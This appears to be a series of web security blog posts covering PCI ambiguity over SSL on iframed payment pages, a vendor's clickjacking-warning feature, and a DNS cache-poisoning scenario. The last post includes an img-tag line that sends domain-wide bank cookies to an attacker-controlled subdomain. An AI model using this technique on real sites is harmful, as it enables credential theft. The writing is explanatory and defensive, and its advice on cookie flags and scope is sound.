I’ve had three different people ask me this question over the last several months and so now I feel like it’s time to answer some of these technical questions. I think there are tons of ambiguities in PCI and I’d like to start hashing them out - and you all can be the judge an jury, if you like. So without further ado, here is the first question, in what might become a recurring blog post theme:

If you’re a merchant who simply iframes your payment gateway, and never collects any information, do you have to use SSL/TLS? The payment gateway’s page already does.

If you look at PCI, there is no strict guidance about this use case, even though it’s coming up pretty often, and really needs to be spelled out clearly. So for the purposes of PCI, I’d say, kinda, it’s a requirement. The two things that specifically mention it are:

- Verify that HTTPS appears as a part of the browser Universal Record Locator (URL).
- Verify that no cardholder data is required when HTTPS does not appear in the URL.

This may not seem all that ambigious at first blush but really, there are tons of issues with these two sentences. Firstly, HTTPS very rarely appears anywhere. I think what they meant to type was https (lowercase). Next it doesn’t specify WHERE it has to appear, just that it is “part” of the URL, so http://www.whatever.com/HTTPS/… is fine. Next, in both bullets it doesn’t specify which URL they’re talking about (the one that’s in your browser or the one that’s being requested). And in the last bullet it doesn’t say that the information can’t be reflected back in a HTTP session, it just says that PII can’t be required of a user. All of these things are ambiguities.

With the increase in use of mashups and widgets there’s going to be more and more websites out there that iframe in some payment gateway or a backend “secure” website that takes in credentials. The problem is there is no way for a user to tell if the site is using SSL/TLS or not since it’s a child frame. The main reason you use SSL/TLS in the first place is to prevent man in the middle attacks from sniffing and modifying the content on the wire. If the attacker can modify the content, they can modify the iframe to point to an unsecure domain (one that they potentially own).

Users would have no idea that it has happened. Even seasoned experts who were just lazy and didn’t bother to read the source (assuming it wasn’t overly convoluted with obfuscated JavaScript), or watch the wire themselves might not know the difference. So while I’m not an ASV, QSA or any other TLA, it’s my opinion that the answer to the question is a resounding “yes”. Sorry mashups and widgets, it’s time to grow up and stop playing in the sandbox. The same thing goes with sites that submit via SSL/TLS but the page with the form on it is unencrypted. Bad idea. And yes, I think it should be specifically mentioned in PCI. Many more uncovered use cases to come, and feel free to send your own questions if you’d like my opinion.

I’m so behind in blog posts, it’s unreal! Feel my pain. Feel it, I tell you!

I’ve received several emails about GuardedID’s clickjacking protection, so I thought I should do a quick post about it. From Michael Brenner:

GuardedID does not interfere with operation of legitimate iFrames, frames, AJAX, or scripted applications. GuardedID does not block operations. It makes potential clickjacks visible to the end user. PLUS, as you mentioned, GuardedID runs on IE8, IE7, and IE6, as well as Firefox 3, 2, and 1.

Clickjack warning is an added benefit, rather than the primary function of our GuardedID product (at least until there is a major loss due to a creative clickjack.)

GuardedID’s primary function is to obfuscate keystrokes so any keyloggers that manage to install on a workstation do not get ID’s and passwords entered into a web browser. (GuardedID, on a percentage basis, is many times more effective at what it does than most anti-virus programs are at blocking viruses.)

GuardedID needs to process the DOM in order to properly identify text input fields. When focus is on a text input and GuardedID is active, GuardedID rewrites the bg color of the field so the user knows that the keystrokes are being encrypted (our marketing term for this indication is “CryptoColor”).

When your clickjack paper hit the headlines last September, our phone rang constantly from users asking if we could help avoid clickjacks, especially in Internet Explorer. Since we already process the entire DOM, we added the two clickjack warning features to GuardedID in response to their requests.

The “Opacity” warning forces frames with “off domain” sources to ALWAYS be visible. The “Placement” warning (called “Show Red Border” in GuardedID) forces the dashed red line around off-domain frames. (Show Red Border is really fun to use on sites like amazon.com who give up space to outside advertisers. The off-site ads are all framed.)

So for those IE users who want to take matters into their own hands rather than waiting for IE8.0 to come out and for every site to adopt X-FRAME-OPTIONS, you have a solution at your disposal to thwart would be clickjackers. I have not tested this tool yet, and it isn’t free, like the NoScript alternative for Firefox, so if someone wants to post user comments here, they would be welcome.

I recall when I first read HD Moore’s writeup about the DNS Cache Poisoning that had happened to his upstream, I though that it was somewhat shortsighted that the attacker chose google.com to cache poison since that was so obvious. Firstly, HD and the others at his company probably actually use Google very frequently, they had already cached the real IP address in their browser so it would take a while to take effect, and most obviously there was the visual cues that tipped him and probably everyone else off since the website didn’t act like Google.

But let’s pretend for a moment the attacker were interested only in credentials, and they knew the website in question set global cookies for the whole domain. Even in the case of SSL this might be a problem if they don’t use the secure flag within the cookie. So the attacker can then use the Kaminsky DNS cache poisoning attack against a non-existant subdomain. So instead of secure.bank.com they cache poison hacker.bank.com, and they point it to their own server.

The attacker then simply gets the user to click on a link or visit the page through a dozen different possible ways, and poof, the credentials for the bank are sent to a subdomain of the bank that the bank doesn’t even own. Setting the secure flag on cookies helps, and making sure your cookies aren’t global in scope is also a good idea. The best part is that it doesn’t have to have any visual cues. A <img src="http://hacker.bank.com/"> is enough to force the credentials to be sent to the fake subdomain. Once the credentials are stolen, the DNS entry gets dumped because the machine goes offline, the cache in the browser can be set to expire immediately, and ultimately no one is the wiser and there is very little forensic evidence that it ever happened.